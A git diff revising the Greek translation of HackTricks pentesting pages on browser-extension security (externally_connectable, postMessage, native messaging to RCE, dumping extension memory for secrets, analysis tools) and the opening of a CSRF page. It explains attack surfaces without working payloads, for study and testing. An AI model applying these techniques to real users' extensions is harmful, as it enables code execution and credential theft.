||||
|
||||
|
@ -351,7 +351,7 @@ In public extensions the **extension-id είναι προσβάσιμο**:
|
|||
{% hint style="danger" %}
|
||||
Σημειώστε ότι οι σελίδες από **`web_accessible_resources`** και άλλες σελίδες της επέκτασης είναι επίσης ικανές να **επικοινωνούν με σενάρια φόντου**. Έτσι, αν μία από αυτές τις σελίδες είναι ευάλωτη σε **XSS**, θα μπορούσε να ανοίξει μια μεγαλύτερη ευπάθεια.
|
||||
|
||||
Επιπλέον, σημειώστε ότι μπορείτε να ανοίξετε μόνο σελίδες που αναφέρονται σε **`web_accessible_resources`** μέσα σε iframes, αλλά από μια νέα καρτέλα είναι δυνατή η πρόσβαση σε οποιαδήποτε σελίδα στην επέκταση γνωρίζοντας το ID της επέκτασης. Επομένως, αν βρεθεί XSS που εκμεταλλεύεται τις ίδιες παραμέτρους, θα μπορούσε να εκμεταλλευτεί ακόμη και αν η σελίδα δεν είναι ρυθμισμένη σε **`web_accessible_resources`**.
|
||||
Επιπλέον, σημειώστε ότι μπορείτε να ανοίξετε μόνο σελίδες που αναφέρονται σε **`web_accessible_resources`** μέσα σε iframes, αλλά από μια νέα καρτέλα είναι δυνατή η πρόσβαση σε οποιαδήποτε σελίδα στην επέκταση γνωρίζοντας το extension ID. Επομένως, αν βρεθεί XSS που εκμεταλλεύεται τις ίδιες παραμέτρους, θα μπορούσε να εκμεταλλευτεί ακόμη και αν η σελίδα δεν έχει ρυθμιστεί σε **`web_accessible_resources`**.
|
||||
{% endhint %}
|
||||
|
||||
### `externally_connectable`
|
||||
|
@ -359,7 +359,7 @@ In public extensions the **extension-id είναι προσβάσιμο**:
|
|||
Σύμφωνα με τα [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Η ιδιότητα `"externally_connectable"` του manifest δηλώνει **ποια extensions και ιστοσελίδες μπορούν να συνδεθούν** με την επέκτασή σας μέσω [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) και [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
|
||||
* Αν το **`externally_connectable`** κλειδί **δεν** δηλώνεται στο manifest της επέκτασής σας ή δηλώνεται ως **`"ids": ["*"]`**, **όλες οι επεκτάσεις μπορούν να συνδεθούν, αλλά καμία ιστοσελίδα δεν μπορεί να συνδεθεί**.
|
||||
* Αν **καθοριστούν συγκεκριμένα IDs**, όπως στο `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **μόνο αυτές οι εφαρμογές** μπορούν να συνδεθούν.
|
||||
* Αν **καθορισμένα IDs αναφέρονται**, όπως στο `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **μόνο αυτές οι εφαρμογές** μπορούν να συνδεθούν.
|
||||
* Αν **καθοριστούν matches**, αυτές οι διαδικτυακές εφαρμογές θα μπορούν να συνδεθούν:
|
||||
```json
|
||||
"matches": [
|
||||
|
@ -368,12 +368,12 @@ In public extensions the **extension-id είναι προσβάσιμο**:
|
|||
```
|
||||
* Αν έχει καθοριστεί ως κενό: **`"externally_connectable": {}`**, καμία εφαρμογή ή ιστότοπος δεν θα μπορεί να συνδεθεί.
|
||||
|
||||
Οι **λιγότερες επεκτάσεις και διευθύνσεις URL** που αναφέρονται εδώ, τόσο **μικρότερη θα είναι η επιφάνεια επίθεσης**.
|
||||
Όσο **λιγότερες επεκτάσεις και διευθύνσεις URL** αναφέρονται εδώ, τόσο **μικρότερη θα είναι η επιφάνεια επίθεσης**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Αν μια ιστοσελίδα **ευάλωτη σε XSS ή takeover** αναφέρεται σε **`externally_connectable`**, ένας επιτιθέμενος θα μπορεί να **στείλει μηνύματα απευθείας στο background script**, παρακάμπτοντας εντελώς το Content Script και το CSP του.
|
||||
|
||||
Επομένως, αυτή είναι μια **πολύ ισχυρή παράκαμψη**.
|
||||
Επομένως, αυτό είναι μια **πολύ ισχυρή παράκαμψη**.
|
||||
|
||||
Επιπλέον, αν ο πελάτης εγκαταστήσει μια κακόβουλη επέκταση, ακόμη και αν δεν επιτρέπεται να επικοινωνήσει με την ευάλωτη επέκταση, θα μπορούσε να εισάγει **δεδομένα XSS σε μια επιτρεπόμενη ιστοσελίδα** ή να καταχραστεί τις APIs **`WebRequest`** ή **`DeclarativeNetRequest`** για να χειριστεί αιτήματα σε έναν στοχευμένο τομέα, αλλάζοντας το αίτημα μιας σελίδας για ένα **αρχείο JavaScript**. (Σημειώστε ότι το CSP στη στοχευμένη σελίδα θα μπορούσε να αποτρέψει αυτές τις επιθέσεις). Αυτή η ιδέα προέρχεται [**από αυτή τη γραφή**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
{% endhint %}
|
||||
|
@ -382,7 +382,7 @@ In public extensions the **extension-id είναι προσβάσιμο**:
|
|||
|
||||
### Επέκταση <--> WebApp
|
||||
|
||||
Για να επικοινωνήσουν το περιεχόμενο script και η ιστοσελίδα, συνήθως χρησιμοποιούνται μηνύματα post. Επομένως, στην εφαρμογή ιστού θα βρείτε συνήθως κλήσεις στη συνάρτηση **`window.postMessage`** και στο περιεχόμενο script ακροατές όπως **`window.addEventListener`**. Σημειώστε ωστόσο, ότι η επέκταση θα μπορούσε επίσης να **επικοινωνήσει με την εφαρμογή ιστού στέλνοντας ένα Post Message** (και επομένως η ιστοσελίδα θα πρέπει να το περιμένει) ή απλώς να κάνει την ιστοσελίδα να φορτώσει ένα νέο script.
|
||||
Για να επικοινωνήσουν το περιεχόμενο script και η ιστοσελίδα, συνήθως χρησιμοποιούνται μηνύματα post. Επομένως, στην εφαρμογή ιστού θα βρείτε συνήθως κλήσεις στη συνάρτηση **`window.postMessage`** και στο περιεχόμενο script ακροατές όπως **`window.addEventListener`**. Σημειώστε ωστόσο ότι η επέκταση θα μπορούσε επίσης να **επικοινωνήσει με την εφαρμογή ιστού στέλνοντας ένα Post Message** (και επομένως η ιστοσελίδα θα πρέπει να το περιμένει) ή απλώς να κάνει την ιστοσελίδα να φορτώσει ένα νέο script.
|
||||
|
||||
### Μέσα στην επέκταση
|
||||
|
||||
|
@ -480,11 +480,11 @@ window.postMessage(
|
|||
|
||||
* **`event.isTrusted`**: Αυτό είναι True μόνο αν το γεγονός προκλήθηκε από ενέργεια του χρήστη
|
||||
* Το περιεχόμενο του script μπορεί να περιμένει ένα μήνυμα μόνο αν ο χρήστης εκτελέσει κάποια ενέργεια
|
||||
* **origin domain**: μπορεί να περιμένει ένα μήνυμα μόνο από μια επιτρεπόμενη λίστα τομέων.
|
||||
* **origin domain**: μπορεί να περιμένει ένα μήνυμα μόνο από μια λίστα επιτρεπόμενων τομέων.
|
||||
* Αν χρησιμοποιηθεί regex, να είστε πολύ προσεκτικοί
|
||||
* **Source**: `received_message.source !== window` μπορεί να χρησιμοποιηθεί για να ελέγξει αν το μήνυμα ήταν **από το ίδιο παράθυρο** όπου το Content Script ακούει.
|
||||
|
||||
Οι προηγούμενοι έλεγχοι, ακόμη και αν εκτελούνται, μπορεί να είναι ευάλωτοι, οπότε ελέγξτε στην επόμενη σελίδα **πιθανά bypasses Post Message**:
|
||||
Οι προηγούμενοι έλεγχοι, ακόμα και αν εκτελούνται, θα μπορούσαν να είναι ευάλωτοι, οπότε ελέγξτε στην επόμενη σελίδα **πιθανά bypasses Post Message**:
|
||||
|
||||
{% content-ref url="../postmessage-vulnerabilities/" %}
|
||||
[postmessage-vulnerabilities](../postmessage-vulnerabilities/)
|
||||
|
@ -492,7 +492,7 @@ window.postMessage(
|
|||
|
||||
### Iframe
|
||||
|
||||
Ένας άλλος πιθανός τρόπος επικοινωνίας μπορεί να είναι μέσω **Iframe URLs**, μπορείτε να βρείτε ένα παράδειγμα εδώ:
|
||||
Ένας άλλος πιθανός τρόπος επικοινωνίας μπορεί να είναι μέσω **Iframe URLs**, μπορείτε να βρείτε ένα παράδειγμα σε:
|
||||
|
||||
{% content-ref url="browext-xss-example.md" %}
|
||||
[browext-xss-example.md](browext-xss-example.md)
|
||||
|
@ -500,9 +500,9 @@ window.postMessage(
|
|||
|
||||
### DOM
|
||||
|
||||
Αυτό δεν είναι "ακριβώς" ένας τρόπος επικοινωνίας, αλλά το **web και το content script θα έχουν πρόσβαση στο web DOM**. Έτσι, αν το **content script** διαβάζει κάποιες πληροφορίες από αυτό, **εμπιστευόμενο το web DOM**, το web θα μπορούσε να **τροποποιήσει αυτά τα δεδομένα** (επειδή το web δεν θα πρέπει να εμπιστεύεται, ή επειδή το web είναι ευάλωτο σε XSS) και να **συμβιβάσει το Content Script**.
|
||||
Αυτό δεν είναι "ακριβώς" ένας τρόπος επικοινωνίας, αλλά το **web και το content script θα έχουν πρόσβαση στο web DOM**. Έτσι, αν το **content script** διαβάζει κάποιες πληροφορίες από αυτό, ** εμπιστευόμενο το web DOM**, το web θα μπορούσε να **τροποποιήσει αυτά τα δεδομένα** (επειδή το web δεν θα πρέπει να εμπιστεύεται, ή επειδή το web είναι ευάλωτο σε XSS) και να **συμβιβάσει το Content Script**.
|
||||
|
||||
Μπορείτε επίσης να βρείτε ένα παράδειγμα **DOM based XSS για να συμβιβάσετε μια επέκταση προγράμματος περιήγησης** εδώ:
|
||||
Μπορείτε επίσης να βρείτε ένα παράδειγμα ενός **DOM based XSS για να συμβιβάσετε μια επέκταση προγράμματος περιήγησης** σε:
|
||||
|
||||
{% content-ref url="browext-xss-example.md" %}
|
||||
[browext-xss-example.md](browext-xss-example.md)
|
||||
|
@ -522,7 +522,7 @@ const response = await chrome.runtime.sendMessage({greeting: "hello"});
|
|||
console.log(response);
|
||||
})();
|
||||
```
|
||||
Αποστολή αιτήματος από την **επέκταση** (συνήθως ένα **background script**). Παράδειγμα για το πώς να στείλετε μήνυμα στο περιεχόμενο του script στην επιλεγμένη καρτέλα:
|
||||
Αποστολή αιτήματος από την **επέκταση** (συνήθως ένα **background script**). Παράδειγμα για το πώς να στείλετε μήνυμα στο content script στην επιλεγμένη καρτέλα:
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||
(async () => {
|
||||
|
@ -532,7 +532,7 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
|
|||
console.log(response);
|
||||
})();
|
||||
```
|
||||
Στο **receiving end**, πρέπει να ρυθμίσετε έναν [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **listener γεγονότων** για να χειριστείτε το μήνυμα. Αυτό φαίνεται το ίδιο από ένα περιεχόμενο script ή μια σελίδα επέκτασης.
|
||||
Στην **άκρη λήψης**, πρέπει να ρυθμίσετε έναν [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **listener γεγονότων** για να χειριστείτε το μήνυμα. Αυτό φαίνεται το ίδιο από ένα περιεχόμενο script ή μια σελίδα επέκτασης.
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||
chrome.runtime.onMessage.addListener(
|
||||
|
@ -549,7 +549,7 @@ sendResponse({farewell: "goodbye"});
|
|||
|
||||
Μια σημαντική παράμετρος είναι ότι σε σενάρια όπου πολλές σελίδες είναι ρυθμισμένες να λαμβάνουν γεγονότα `onMessage`, **η πρώτη σελίδα που εκτελεί το `sendResponse()`** για μια συγκεκριμένη εκδήλωση θα είναι η μόνη που θα μπορεί να παραδώσει την απάντηση αποτελεσματικά. Οποιεσδήποτε επόμενες απαντήσεις στην ίδια εκδήλωση δεν θα ληφθούν υπόψη.
|
||||
|
||||
Κατά την κατασκευή νέων επεκτάσεων, η προτίμηση θα πρέπει να είναι προς τις υποσχέσεις αντί για callbacks. Όσον αφορά τη χρήση callbacks, η συνάρτηση `sendResponse()` θεωρείται έγκυρη μόνο εάν εκτελείται άμεσα μέσα στο συγχρονισμένο πλαίσιο, ή εάν ο χειριστής γεγονότος υποδεικνύει μια ασύγχρονη λειτουργία επιστρέφοντας `true`. Εάν κανένας από τους χειριστές δεν επιστρέψει `true` ή εάν η συνάρτηση `sendResponse()` αφαιρεθεί από τη μνήμη (καθαριστεί από τη συλλογή απορριμμάτων), το callback που σχετίζεται με τη συνάρτηση `sendMessage()` θα ενεργοποιηθεί από προεπιλογή.
|
||||
Κατά την κατασκευή νέων επεκτάσεων, η προτίμηση θα πρέπει να είναι προς τις υποσχέσεις αντί για callbacks. Όσον αφορά τη χρήση callbacks, η συνάρτηση `sendResponse()` θεωρείται έγκυρη μόνο εάν εκτελείται άμεσα μέσα στο συγχρονισμένο πλαίσιο ή εάν ο χειριστής γεγονότος υποδεικνύει μια ασύγχρονη λειτουργία επιστρέφοντας `true`. Εάν κανένας από τους χειριστές δεν επιστρέψει `true` ή εάν η συνάρτηση `sendResponse()` αφαιρεθεί από τη μνήμη (garbage-collected), το callback που σχετίζεται με τη συνάρτηση `sendMessage()` θα ενεργοποιηθεί από προεπιλογή.
|
||||
|
||||
## Native Messaging
|
||||
|
||||
|
@ -581,34 +581,34 @@ console.log('Received ' + response);
|
|||
}
|
||||
);
|
||||
```
|
||||
Σε [**αυτήν την ανάρτηση ιστολογίου**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), προτείνεται ένα ευάλωτο μοτίβο που εκμεταλλεύεται τα εγγενή μηνύματα:
|
||||
In [**αυτή την ανάρτηση στο blog**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), προτείνεται ένα ευάλωτο μοτίβο που εκμεταλλεύεται τα εγγενή μηνύματα:
|
||||
|
||||
1. Η επέκταση του προγράμματος περιήγησης έχει ένα μοτίβο wildcard για το περιεχόμενο του script.
|
||||
2. Το περιεχόμενο του script περνάει μηνύματα `postMessage` στο background script χρησιμοποιώντας `sendMessage`.
|
||||
3. Το background script περνάει το μήνυμα στην εγγενή εφαρμογή χρησιμοποιώντας `sendNativeMessage`.
|
||||
4. Η εγγενής εφαρμογή χειρίζεται το μήνυμα επικίνδυνα, οδηγώντας σε εκτέλεση κώδικα.
|
||||
|
||||
Και μέσα σε αυτό, εξηγείται ένα παράδειγμα **μετάβασης από οποιαδήποτε σελίδα σε RCE εκμεταλλευόμενο μια επέκταση προγράμματος περιήγησης**.
|
||||
Και μέσα σε αυτό εξηγείται ένα παράδειγμα **μετάβασης από οποιαδήποτε σελίδα σε RCE εκμεταλλευόμενο μια επέκταση προγράμματος περιήγησης**.
|
||||
|
||||
## Ευαίσθητες Πληροφορίες στη Μνήμη/Κώδικα/Πρόχειρο
|
||||
|
||||
Εάν μια Επέκταση Προγράμματος Περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες μέσα στη μνήμη της**, αυτές θα μπορούσαν να **εκχυθούν** (ιδιαίτερα σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες.
|
||||
Εάν μια Επέκταση Προγράμματος Περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες μέσα στη μνήμη της**, αυτές θα μπορούσαν να **εκχυθούν** (ειδικά σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες.
|
||||
|
||||
Επομένως, η μνήμη της Επέκτασης Προγράμματος Περιήγησης **δεν θα πρέπει να θεωρείται ασφαλής** και **ευαίσθητες πληροφορίες** όπως διαπιστευτήρια ή μνημονικές φράσεις **δεν θα πρέπει να αποθηκεύονται**.
|
||||
|
||||
Φυσικά, **μην βάζετε ευαίσθητες πληροφορίες στον κώδικα**, καθώς θα είναι **δημόσιες**.
|
||||
|
||||
Για να εκχυθεί η μνήμη από τον περιηγητή, μπορείτε να **εκχυθεί η μνήμη της διαδικασίας** ή να πάτε στις **ρυθμίσεις** της επέκτασης του προγράμματος περιήγησης κάνοντας κλικ στο **`Inspect pop-up`** -> Στην ενότητα **`Memory`** -> **`Take a snapshot`** και **`CTRL+F`** για να αναζητήσετε μέσα στο στιγμιότυπο ευαίσθητες πληροφορίες.
|
||||
Για να εκχυθεί η μνήμη από τον περιηγητή μπορείτε να **εκχύσετε τη μνήμη της διαδικασίας** ή να πάτε στις **ρυθμίσεις** της επέκτασης του προγράμματος περιήγησης κάνοντας κλικ στο **`Inspect pop-up`** -> Στην ενότητα **`Memory`** -> **`Take a snapshot`** και **`CTRL+F`** για να αναζητήσετε μέσα στο στιγμιότυπο ευαίσθητες πληροφορίες.
|
||||
|
||||
Επιπλέον, οι πολύ ευαίσθητες πληροφορίες όπως μνημονικά κλειδιά ή κωδικοί πρόσβασης **δεν θα πρέπει να επιτρέπεται να αντιγράφονται στο πρόχειρο** (ή τουλάχιστον να αφαιρούνται από το πρόχειρο σε λίγα δευτερόλεπτα) γιατί τότε οι διαδικασίες που παρακολουθούν το πρόχειρο θα μπορούν να τις αποκτήσουν.
|
||||
|
||||
## Φόρτωση μιας Επέκτασης στον Περιηγητή
|
||||
|
||||
1. **Κατεβάστε** την Επέκταση του Προγράμματος Περιήγησης & αποσυμπιέστε την
|
||||
2. Πηγαίνετε στο **`chrome://extensions/`** και **ενεργοποιήστε** τη λειτουργία `Developer Mode`
|
||||
3. Κάντε κλικ στο κουμπί **`Load unpacked`**
|
||||
1. **Κατεβάστε** την Επέκταση Προγράμματος Περιήγησης & αποσυμπιέστε την
|
||||
2. Πηγαίνετε στο **`chrome://extensions/`** και **ενεργοποιήστε** τη `Λειτουργία Προγραμματιστή`
|
||||
3. Κάντε κλικ στο κουμπί **`Φόρτωση αποσυμπιεσμένου`**
|
||||
|
||||
Στον **Firefox** πηγαίνετε στο **`about:debugging#/runtime/this-firefox`** και κάντε κλικ στο κουμπί **`Load Temporary Add-on`**.
|
||||
Στο **Firefox** πηγαίνετε στο **`about:debugging#/runtime/this-firefox`** και κάντε κλικ στο κουμπί **`Φόρτωση προσωρινής προσθήκης`**.
|
||||
|
||||
## Λήψη του πηγαίου κώδικα από το κατάστημα
|
||||
|
||||
|
@ -616,7 +616,7 @@ console.log('Received ' + response);
|
|||
|
||||
### Λήψη Επέκτασης ως ZIP μέσω Γραμμής Εντολών
|
||||
|
||||
Ο πηγαίος κώδικας μιας επέκτασης Chrome μπορεί να ληφθεί ως αρχείο ZIP χρησιμοποιώντας τη γραμμή εντολών. Αυτό περιλαμβάνει τη χρήση του `curl` για να αποκτήσει το αρχείο ZIP από μια συγκεκριμένη διεύθυνση URL και στη συνέχεια την εξαγωγή των περιεχομένων του αρχείου ZIP σε έναν φάκελο. Ακολουθούν τα βήματα:
|
||||
Ο πηγαίος κώδικας μιας επέκτασης Chrome μπορεί να ληφθεί ως αρχείο ZIP χρησιμοποιώντας τη γραμμή εντολών. Αυτό περιλαμβάνει τη χρήση του `curl` για να αποκτήσετε το αρχείο ZIP από μια συγκεκριμένη διεύθυνση URL και στη συνέχεια την εξαγωγή των περιεχομένων του αρχείου ZIP σε έναν φάκελο. Ακολουθούν τα βήματα:
|
||||
|
||||
1. Αντικαταστήστε το `"extension_id"` με το πραγματικό ID της επέκτασης.
|
||||
2. Εκτελέστε τις παρακάτω εντολές:
|
||||
|
@ -637,14 +637,14 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
|||
|
||||
Οι επεκτάσεις Chrome που έχουν εγκατασταθεί τοπικά μπορούν επίσης να επιθεωρηθούν. Να πώς:
|
||||
|
||||
1. Αποκτήστε πρόσβαση στον τοπικό φάκελο προφίλ Chrome σας επισκεπτόμενοι το `chrome://version/` και εντοπίζοντας το πεδίο "Profile Path".
|
||||
1. Αποκτήστε πρόσβαση στον τοπικό φάκελο προφίλ του Chrome επισκεπτόμενοι το `chrome://version/` και εντοπίζοντας το πεδίο "Profile Path".
|
||||
2. Μεταβείτε στον υποφάκελο `Extensions/` εντός του φακέλου προφίλ.
|
||||
3. Αυτός ο φάκελος περιέχει όλες τις εγκατεστημένες επεκτάσεις, συνήθως με τον πηγαίο κώδικα τους σε αναγνώσιμη μορφή.
|
||||
|
||||
Για να προσδιορίσετε τις επεκτάσεις, μπορείτε να αντιστοιχίσετε τα IDs τους με ονόματα:
|
||||
|
||||
* Ενεργοποιήστε τη Λειτουργία Προγραμματιστή στη σελίδα `about:extensions` για να δείτε τα IDs κάθε επέκτασης.
|
||||
* Μέσα σε κάθε φάκελο επέκτασης, το αρχείο `manifest.json` περιέχει ένα αναγνώσιμο πεδίο `name`, βοηθώντας σας να προσδιορίσετε την επέκταση.
|
||||
* Μέσα στον φάκελο κάθε επέκτασης, το αρχείο `manifest.json` περιέχει ένα αναγνώσιμο πεδίο `name`, βοηθώντας σας να προσδιορίσετε την επέκταση.
|
||||
|
||||
### Χρησιμοποιήστε ένα Αρχειοθέτη ή Αποσυμπιεστή
|
||||
|
||||
|
@ -656,7 +656,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
|||
|
||||
## Σύνολο δεδομένων manifest επεκτάσεων Chrome
|
||||
|
||||
Για να προσπαθήσετε να εντοπίσετε ευάλωτες επεκτάσεις προγράμματος περιήγησης, μπορείτε να χρησιμοποιήσετε το [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) και να ελέγξετε τα αρχεία manifest τους για πιθανά ευάλωτα σημάδια. Για παράδειγμα, για να ελέγξετε για επεκτάσεις με περισσότερους από 25000 χρήστες, `content_scripts` και την άδεια `nativeMessaing`:
|
||||
Για να προσπαθήσετε να εντοπίσετε ευάλωτες επεκτάσεις προγράμματος περιήγησης, μπορείτε να χρησιμοποιήσετε το [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) και να ελέγξετε τα αρχεία manifest τους για πιθανά ευάλωτα σημάδια. Για παράδειγμα, για να ελέγξετε για επεκτάσεις με περισσότερους από 25000 χρήστες, `content_scripts` και την άδεια `nativeMessaging`:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -689,12 +689,12 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
|||
|
||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||
|
||||
* Αντλεί οποιαδήποτε επέκταση Chrome από έναν παρεχόμενο σύνδεσμο του Chrome webstore.
|
||||
* Τραβά οποιαδήποτε επέκταση Chrome από έναν παρεχόμενο σύνδεσμο του Chrome webstore.
|
||||
* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: απλά εμφανίζει μια JSON-μορφοποιημένη έκδοση του manifest της επέκτασης.
|
||||
* **Ανάλυση Δακτυλικών Αποτυπωμάτων**: Ανίχνευση [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) και αυτόματη δημιουργία JavaScript δακτυλικών αποτυπωμάτων για επεκτάσεις Chrome.
|
||||
* **Πιθανή Ανάλυση Clickjacking**: Ανίχνευση HTML σελίδων επεκτάσεων με τη ρύθμιση [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources). Αυτές είναι πιθανώς ευάλωτες σε clickjacking ανάλογα με τον σκοπό των σελίδων.
|
||||
* **Viewer προειδοποιήσεων δικαιωμάτων**: που δείχνει μια λίστα με όλες τις προειδοποιήσεις δικαιωμάτων Chrome που θα εμφανιστούν όταν ένας χρήστης προσπαθήσει να εγκαταστήσει την επέκταση.
|
||||
* **Επικίνδυνες Λειτουργίες**: δείχνει την τοποθεσία επικίνδυνων λειτουργιών που θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο (π.χ. λειτουργίες όπως innerHTML, chrome.tabs.executeScript).
|
||||
* **Επικίνδυνες Λειτουργίες**: δείχνει την τοποθεσία επικίνδυνων λειτουργιών που θα μπορούσαν ενδεχομένως να εκμεταλλευτούν από έναν επιτιθέμενο (π.χ. λειτουργίες όπως innerHTML, chrome.tabs.executeScript).
|
||||
* **Σημεία Εισόδου**: δείχνει πού η επέκταση δέχεται είσοδο από χρήστη/εξωτερική είσοδο. Αυτό είναι χρήσιμο για την κατανόηση της επιφάνειας της επέκτασης και την αναζήτηση πιθανών σημείων για την αποστολή κακόβουλα κατασκευασμένων δεδομένων στην επέκταση.
|
||||
* Και οι σαρωτές Επικίνδυνων Λειτουργιών και Σημείων Εισόδου έχουν τα εξής για τις παραγόμενες ειδοποιήσεις τους:
|
||||
* Σχετικό απόσπασμα κώδικα και γραμμή που προκάλεσε την ειδοποίηση.
|
||||
|
@ -708,13 +708,13 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
|||
* **Γνωστές Ευάλωτες Βιβλιοθήκες**: Αυτό χρησιμοποιεί [Retire.js](https://retirejs.github.io/retire.js/) για να ελέγξει για οποιαδήποτε χρήση γνωστών ευάλωτων βιβλιοθηκών JavaScript.
|
||||
* Κατεβάστε την επέκταση και μορφοποιημένες εκδόσεις.
|
||||
* Κατεβάστε την αρχική επέκταση.
|
||||
* Κατεβάστε μια όμορφα μορφοποιημένη έκδοση της επέκτασης (αυτόματα μορφοποιημένο HTML και JavaScript).
|
||||
* Αυτόματη αποθήκευση αποτελεσμάτων σάρωσης, η εκτέλεση μιας σάρωσης επέκτασης θα διαρκέσει αρκετό χρόνο την πρώτη φορά που θα την εκτελέσετε. Ωστόσο, τη δεύτερη φορά, εφόσον η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της αποθήκευσης των αποτελεσμάτων.
|
||||
* Κατεβάστε μια όμορφα μορφοποιημένη έκδοση της επέκτασης (αυτόματη μορφοποίηση HTML και JavaScript).
|
||||
* Αυτόματη αποθήκευση αποτελεσμάτων σάρωσης, η εκτέλεση σάρωσης επέκτασης θα διαρκέσει αρκετό χρόνο την πρώτη φορά που θα την εκτελέσετε. Ωστόσο, τη δεύτερη φορά, εφόσον η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της αποθήκευσης των αποτελεσμάτων.
|
||||
* Συνδέσιμες διευθύνσεις URL αναφορών, εύκολα συνδέστε κάποιον άλλο σε μια αναφορά επέκτασης που δημιουργήθηκε από το tarnish.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
Το Project Neto είναι ένα πακέτο Python 3 που έχει σχεδιαστεί για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες των πρόσθετων και επεκτάσεων περιηγητών για γνωστούς περιηγητές όπως ο Firefox και ο Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για να εξαγάγει αυτές τις δυνατότητες από σχετικούς πόρους σε μια επέκταση όπως το `manifest.json`, φακέλους τοπικοποίησης ή πηγές JavaScript και HTML.
|
||||
Το έργο Neto είναι ένα πακέτο Python 3 που έχει σχεδιαστεί για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες των πρόσθετων και επεκτάσεων περιηγητών για γνωστούς περιηγητές όπως ο Firefox και ο Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για να εξάγει αυτές τις δυνατότητες από σχετικούς πόρους σε μια επέκταση όπως το `manifest.json`, φακέλους τοπικοποίησης ή πηγές JavaScript και HTML.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# CSRF (Cross Site Request Forgery)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -46,11 +46,11 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
Μπορείτε να **καταγράψετε το αίτημα στο Burp** και να ελέγξετε τις προστασίες CSRF και για να δοκιμάσετε από τον περιηγητή μπορείτε να κάνετε κλικ στο **Copy as fetch** και να ελέγξετε το αίτημα:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Defending Against CSRF
|
||||
|
||||
Πολλές αντεπίθεσεις μπορούν να εφαρμοστούν για να προστατεύσουν από επιθέσεις CSRF:
|
||||
Μερικά μέτρα κατά της CSRF μπορούν να εφαρμοστούν για να προστατευτούν από επιθέσεις CSRF:
|
||||
|
||||
* [**SameSite cookies**](hacking-with-cookies/#samesite): Αυτό το χαρακτηριστικό αποτρέπει τον περιηγητή από το να στέλνει cookies μαζί με αιτήματα από άλλες ιστοσελίδες. [Περισσότερα για τα SameSite cookies](hacking-with-cookies/#samesite).
|
||||
* [**Cross-origin resource sharing**](cors-bypass.md): Η πολιτική CORS της ιστοσελίδας θύματος μπορεί να επηρεάσει τη δυνατότητα της επίθεσης, ειδικά αν η επίθεση απαιτεί την ανάγνωση της απάντησης από την ιστοσελίδα θύμα. [Μάθετε για την παράκαμψη CORS](cors-bypass.md).
|
||||
|
